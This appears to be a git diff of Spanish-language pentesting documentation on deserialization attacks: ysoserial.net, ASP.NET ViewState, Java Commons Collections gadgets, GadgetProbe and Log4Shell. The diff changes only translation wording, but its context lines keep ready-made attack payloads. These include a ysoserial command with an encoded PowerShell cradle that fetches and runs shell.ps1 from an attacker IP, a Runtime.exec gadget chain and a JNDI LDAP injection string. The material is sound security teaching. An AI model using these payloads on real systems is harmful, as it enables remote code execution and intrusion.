+> La API de **Java Message Service** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Productos
@@ -656,9 +655,9 @@ Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatte
#### Más parámetros de ysoserial.net
-- `--minify` proporcionará una **carga útil más pequeña** (si es posible)
-- `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso)
-- `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas)
+- `--minify` proporcionará una **carga útil más pequeña** (si es posible).
+- `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso).
+- `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas).
**Ejemplos de ysoserial** para crear exploits:
```bash
@@ -679,7 +678,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`\
-Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así que puedes probar si tu payload funcionará correctamente.\
+Si indicas este parámetro, **ysoserial.net** **intentar**á el **exploit localmente,** así puedes probar si tu payload funcionará correctamente.\
Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@@ -728,14 +727,14 @@ Para mitigar los riesgos asociados con la deserialización en .Net:
### **Referencias**
-- Documento sobre deserialización JSON en Java y .Net:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Documento sobre deserialización JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
-En Ruby, la serialización se facilita mediante dos métodos dentro de la **biblioteca marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, **load**, se emplea para revertir un flujo de bytes de nuevo a un objeto, un proceso conocido como deserialización.
+En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca **marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, **load**, se emplea para revertir un flujo de bytes de nuevo a un objeto, un proceso conocido como deserialización.
Para asegurar objetos serializados, **Ruby emplea HMAC (Código de Autenticación de Mensajes Basado en Hash)**, asegurando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles:
@@ -862,9 +861,9 @@ Consulte más información en la [página de contaminación _json de Ruby](ruby-
Esta técnica fue tomada [**de esta publicación de blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
-Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializan (función para abusar para obtener RCE básicamente):
+Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializa (función para abusar para obtener RCE básicamente):
-
Biblioteca
Datos de entrada
Método de inicio dentro de la clase
Marshal (Ruby)
Binario
_load
Oj
JSON
hash (la clase debe ser puesta en hash(map) como clave)
Ox
XML
hash (la clase debe ser puesta en hash(map) como clave)
Psych (Ruby)
YAML
hash (la clase debe ser puesta en hash(map) como clave) init_with
JSON (Ruby)
JSON
json_create ([ver notas sobre json_create al final](#table-vulnerable-sinks))
+
Biblioteca
Datos de entrada
Método de inicio dentro de la clase
Marshal (Ruby)
Binario
_load
Oj
JSON
hash (la clase debe ser puesta en hash(mapa) como clave)
Ox
XML
hash (la clase debe ser puesta en hash(mapa) como clave)
Psych (Ruby)
YAML
hash (la clase debe ser puesta en hash(mapa) como clave) init_with
JSON (Ruby)
JSON
json_create ([ver notas sobre json_create al final](#table-vulnerable-sinks))
Ejemplo básico:
```ruby
@@ -900,7 +899,7 @@ En el caso de intentar abusar de Oj, fue posible encontrar una clase gadget que
"password": "anypw"
}
```
-Además, se encontró que con la técnica anterior también se crea una carpeta en el sistema, que es un requisito para abusar de otro gadget con el fin de transformar esto en un RCE completo con algo como:
+Además, se descubrió que con la técnica anterior también se crea una carpeta en el sistema, que es un requisito para abusar de otro gadget con el fin de transformar esto en un RCE completo con algo como:
```json
{
"^o": "Gem::Resolver::SpecSpecification",
diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
index a1a583d8f..6c7f9f5dd 100644
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -7,14 +7,14 @@ Esta publicación está dedicada a **entender cómo se explota el gadget ObjectD
## Gadget ObjectDataProvider
De la documentación: _la clase ObjectDataProvider envuelve y crea un objeto que puedes usar como fuente de enlace_.\
-Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
+Sí, es una explicación extraña, así que veamos qué tiene de tan interesante esta clase: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
Por lo tanto, el **objeto** arbitrario **ejecutará** una **función** con **parámetros mientras se deserializa.**
### **Cómo es esto posible**
-El espacio de nombres **System.Windows.Data**, que se encuentra dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa el ObjectDataProvider.
+El **espacio de nombres System.Windows.Data**, que se encuentra dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa el ObjectDataProvider.
-Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la imagen a continuación estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método**
+Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la imagen de abajo estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método**
.png>)
@@ -26,11 +26,11 @@ Ok, continuemos viendo qué hace `this.BeginQuery()`. `BeginQuery` es sobreescri
.png>)
-Ten en cuenta que al final del código se llama a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
+Nota que al final del código se llama a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
.png>)
-Ten en cuenta que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante de ella: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
+Nota que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante de ella: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
Si quieres comprobar que solo estableciendo el _**MethodName**_\*\* se ejecutará\*\*, puedes ejecutar este código:
```java
diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index 6d16a54cb..bdd9a28b7 100644
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -21,7 +21,7 @@ La información de ViewState se puede caracterizar por las siguientes propiedade
La imagen es una tabla que detalla diferentes configuraciones para ViewState en ASP.NET según la versión del marco .NET. Aquí hay un resumen del contenido:
-1. Para **cualquier versión de .NET**, cuando tanto MAC como Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo.
+1. Para **cualquier versión de .NET**, cuando tanto MAC como la Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo.
2. Para **versiones anteriores a 4.5**, si MAC está habilitado pero la Encriptación no, se requiere un MachineKey. El método para identificar el MachineKey se denomina "Blacklist3r."
3. Para **versiones anteriores a 4.5**, independientemente de si MAC está habilitado o deshabilitado, si la Encriptación está habilitada, se necesita un MachineKey. Identificar el MachineKey es una tarea para "Blacklist3r - Desarrollo Futuro."
4. Para **versiones 4.5 y superiores**, todas las combinaciones de MAC y Encriptación (ya sea que ambos sean true, o uno sea true y el otro false) requieren un MachineKey. El MachineKey se puede identificar utilizando "Blacklist3r."
@@ -41,8 +41,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Caso de prueba 1.5 – Como el Caso de prueba 1 pero la cookie ViewState no es enviada por el servidor
Los desarrolladores pueden **eliminar ViewState** de convertirse en parte de una solicitud HTTP (el usuario no recibirá esta cookie).\
-Se puede suponer que si **ViewState** **no está presente**, su implementación es **segura** de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.\
-Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada con ysoserial, aún podremos lograr **ejecución de código** como se muestra en **Caso 1**.
+Se puede asumir que si **ViewState** **no está presente**, su implementación es **segura** de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.\
+Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada usando ysoserial, aún podremos lograr **ejecución de código** como se muestra en **Caso 1**.
### Caso de prueba: 2 – .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
@@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
-[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
+[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que, a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
Se puede proporcionar directamente con el viewstate y el generador:
```
@@ -112,13 +112,13 @@ En este caso no se sabe si el parámetro está protegido con MAC. Entonces, el v
**En este caso, el** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está en desarrollo...**
-**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin cifrar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** se ha configurado en _**Siempre**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin cifrar, aún será procesada.**
+**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin cifrar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** ha sido configurado a _**Siempre**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin cifrar, aún será procesada.**
Por lo tanto, si los atacantes encuentran una manera de obtener la clave de máquina a través de otra vulnerabilidad como la exploración de archivos, el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, puede ser usado para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
- Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará.
-### Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos en falso
+### Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos a false
Podemos forzar el uso del marco ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación.
```xml
@@ -155,11 +155,11 @@ Si tienes el valor de `__VIEWSTATEGENERATOR`, puedes intentar **usar** el parám

-Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en una prueba de concepto (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar la [PoC de Explotación Exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) proporcionada.
+Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en una prueba de concepto (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar la [PoC de Explotación Exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
### Caso de Prueba 6 – ViewStateUserKeys está siendo utilizado
-La propiedad **ViewStateUserKey** puede ser utilizada para **defenderse** contra un **ataque CSRF**. Si tal clave ha sido definida en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\
+La propiedad **ViewStateUserKey** se puede usar para **defenderse** contra un **ataque CSRF**. Si tal clave ha sido definida en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\
Necesitas usar un parámetro más para crear correctamente la carga útil:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
diff --git a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
index 5dd6abed7..77a9233d2 100644
--- a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
+++ b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
@@ -28,7 +28,7 @@ int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
-Como puedes observar, **al deserializar** un **`HashMap`** la función `hash` se va a **ejecutar con cada objeto** y **durante** la **ejecución de** **`hash`** **se va a ejecutar** `.hashCode()` del objeto. Por lo tanto, si **deserializas** un **`HashMap`** **que contiene** un **objeto URL**, el **objeto URL** **ejecutará** `.hashCode()`.
+Como puedes observar, **al deserializar** un **`HashMap`** la función `hash` se va a **ejecutar con cada objeto** y **durante** la ejecución de **`hash`** **se va a ejecutar** `.hashCode()` del objeto. Por lo tanto, si **deserializas** un **`HashMap`** **que contiene** un **objeto URL**, el **objeto URL** **ejecutará** `.hashCode()`.
Ahora, echemos un vistazo al código de `URLObject.hashCode()`:
```java
@@ -135,7 +135,7 @@ Puedes descargar [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) des
### ¿Cómo funciona?
-**GadgetProbe** utilizará la misma **carga útil DNS de la sección anterior** pero **antes** de ejecutar la consulta DNS, **intentarà deserializar una clase arbitraria**. Si la **clase arbitraria existe**, la **consulta DNS** será **enviada** y GadgetProbe anotará que esta clase existe. Si la **solicitud DNS** **nunca se envía**, esto significa que la **clase arbitraria no fue deserializada** con éxito, por lo que o no está presente o **no es serializable/explotable**.
+**GadgetProbe** utilizará la misma **carga útil DNS de la sección anterior** pero **antes** de ejecutar la consulta DNS, **intentar** deserializar una **clase arbitraria**. Si la **clase arbitraria existe**, la **consulta DNS** será **enviada** y GadgetProbe anotará que esta clase existe. Si la **solicitud DNS** **nunca se envía**, esto significa que la **clase arbitraria no fue deserializada** con éxito, por lo que o no está presente o **no es serializable/explotable**.
Dentro de GitHub, [**GadgetProbe tiene algunas listas de palabras**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) con clases de Java para ser probadas.
@@ -161,7 +161,7 @@ Por defecto, **verifica pasivamente** todas las solicitudes y respuestas enviada
**Pruebas Manuales**
Puedes seleccionar una solicitud, hacer clic derecho y `Enviar solicitud a DS - Pruebas Manuales`.\
-Luego, dentro de la pestaña _Escáner de Deserialización_ --> _pestaña de Pruebas Manuales_ puedes seleccionar el **punto de inserción**. Y **lanzar la prueba** (Selecciona el ataque apropiado dependiendo de la codificación utilizada).
+Luego, dentro de la _Pestaña del Escáner de Deserialización_ --> _pestaña de pruebas manuales_ puedes seleccionar el **punto de inserción**. Y **lanzar la prueba** (Selecciona el ataque apropiado dependiendo de la codificación utilizada).

@@ -170,7 +170,7 @@ Incluso si esto se llama "Pruebas Manuales", es bastante **automatizado**. Verif
**Explotación**
Una vez que hayas identificado una biblioteca vulnerable, puedes enviar la solicitud a la _Pestaña de Explotación_.\
-En esta pestaña, debes **seleccionar** el **punto de inyección** nuevamente, **escribir** la **biblioteca vulnerable** para la que deseas crear una carga útil y el **comando**. Luego, solo presiona el botón de **Ataque** apropiado.
+En esta pestaña debes **seleccionar** el **punto de inyección** nuevamente, **escribir** la **biblioteca vulnerable** para la que deseas crear una carga útil, y el **comando**. Luego, solo presiona el botón de **Ataque** apropiado.

diff --git a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
index 3af9cb056..c460f5846 100644
--- a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
+++ b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
@@ -4,7 +4,7 @@
## Java Transformers a Rutime exec()
-En varios lugares puedes encontrar una carga útil de deserialización de java que utiliza transformadores de las colecciones comunes de Apache como la siguiente:
+En varios lugares puedes encontrar una carga útil de deserialización de java que utiliza transformadores de las colecciones comunes de Apache, como la siguiente:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@@ -92,7 +92,7 @@ Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
-En la última sección de la carga útil, puedes ver que se **crea un objeto Map**. Luego, se ejecuta la función `decorate` de `LazyMap` con el objeto map y los transformadores encadenados. A partir del siguiente código, puedes ver que esto hará que los **transformadores encadenados** se copien dentro del atributo `lazyMap.factory`:
+En la última sección de la carga útil, puedes ver que se **crea un objeto Map**. Luego, se ejecuta la función `decorate` de `LazyMap` con el objeto map y los transformadores encadenados. En el siguiente código, puedes ver que esto hará que los **transformadores encadenados** se copien dentro del atributo `lazyMap.factory`:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
@@ -153,11 +153,11 @@ _Tenga en cuenta cómo `value` es la entrada de cada transformación y la salida
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
-Nota que aquí **se explicaron los gadgets** utilizados para el **payload de ComonsCollections1**. Pero queda **cómo todo esto comienza a ejecutarse**. Puedes ver [aquí que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), para ejecutar este payload, utiliza un objeto `AnnotationInvocationHandler` porque **cuando este objeto se deserializa**, **invocará** la función `payload.get()` que **ejecutará todo el payload**.
+Tenga en cuenta que aquí **se explicaron los gadgets** utilizados para el **payload de ComonsCollections1**. Pero queda **cómo todo esto comienza a ejecutarse**. Puede ver [aquí que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), para ejecutar este payload, utiliza un objeto `AnnotationInvocationHandler` porque **cuando este objeto se deserializa**, **invocará** la función `payload.get()` que **ejecutará todo el payload**.
## Java Thread Sleep
-Este payload podría ser **útil para identificar si la web es vulnerable ya que ejecutará un sleep si lo es**.
+Este payload podría ser **útil para identificar si la web es vulnerable, ya que ejecutará un sleep si lo es**.
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
diff --git a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
index 5a2bf3db1..304b541dc 100644
--- a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
+++ b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
@@ -4,7 +4,7 @@
## Información Básica
-JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.
+JNDI, integrado en Java desde finales de los años 90, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.
### Referencia de Nombres JNDI
@@ -42,7 +42,7 @@ CORBA (Common Object Request Broker Architecture) emplea una **Referencia de Obj
- **ID de Tipo**: Identificador único para una interfaz.
- **Codebase**: URL para obtener la clase stub.
-Notablemente, CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica:
+Cabe destacar que CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica:
- Instalación de un **Administrador de Seguridad**.
- Configuración del Administrador de Seguridad para permitir conexiones a codebases potencialmente maliciosas. Esto se puede lograr a través de:
@@ -53,7 +53,7 @@ Sin embargo, algunas políticas de proveedores pueden ser indulgentes y permitir
### Contexto RMI
-Para RMI (Remote Method Invocation), la situación es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias está restringida por defecto. Para explotar RMI, uno típicamente necesitaría eludir el Administrador de Seguridad, un logro también relevante en CORBA.
+Para RMI (Remote Method Invocation), la situación es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias está restringida por defecto. Para explotar RMI, uno típicamente necesitaría eludir el Administrador de Seguridad, un logro que también es relevante en CORBA.
### LDAP
@@ -85,7 +85,7 @@ Es más fácil atacar este LDAP usando **referencias JavaFactory**:
La vulnerabilidad se introduce en Log4j porque soporta una [**sintaxis especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) en la forma `${prefix:name}` donde `prefix` es uno de varios [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) donde `name` debe ser evaluado. Por ejemplo, `${java:version}` es la versión actual de Java en ejecución.
-[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una función de búsqueda `jndi`. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se antepone automáticamente con `java:comp/env/`. Sin embargo, si la clave en sí incluye un **":"**, este prefijo predeterminado no se aplica.
+[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una función de búsqueda `jndi`. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se prefija automáticamente con `java:comp/env/`. Sin embargo, si la clave en sí incluye un **":"**, este prefijo por defecto no se aplica.
Con un **: presente** en la clave, como en `${jndi:ldap://example.com/a}` no hay **prefijo** y se **consulta al servidor LDAP por el objeto**. Y estas búsquedas pueden ser utilizadas tanto en la configuración de Log4j como cuando se registran líneas.
@@ -99,7 +99,7 @@ Esta vulnerabilidad es un **fallo de deserialización no confiable** crítico en
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Crítico]**
-Inicialmente calificado como bajo pero luego elevado a crítico, este CVE es un **fallo de Denegación de Servicio (DoS)** resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles elaboradas. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de elusión. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto.
+Inicialmente calificada como baja pero luego actualizada a crítica, este CVE es un **fallo de Denegación de Servicio (DoS)** resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles elaboradas. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de elusión. El problema se resolvió en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**
@@ -237,14 +237,14 @@ Desencadena la ejecución de la clase de explotación en el servidor web suscept
```bash
${jndi:ldap://:1389/Exploit}
```
-**Nota:** Este exploit depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución de código arbitrario.
+**Nota:** Esta explotación depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución de código arbitrario.
### RCE - **JNDIExploit**
-> [!NOTE]
-> Ten en cuenta que por alguna razón el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puedes encontrar una versión en caché en [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) pero si quieres respetar la decisión del autor, utiliza un método diferente para explotar esta vulnerabilidad.
+> [!NOTA]
+> Ten en cuenta que por alguna razón el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puedes encontrar una versión en caché en [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) pero si deseas respetar la decisión del autor, utiliza un método diferente para explotar esta vulnerabilidad.
>
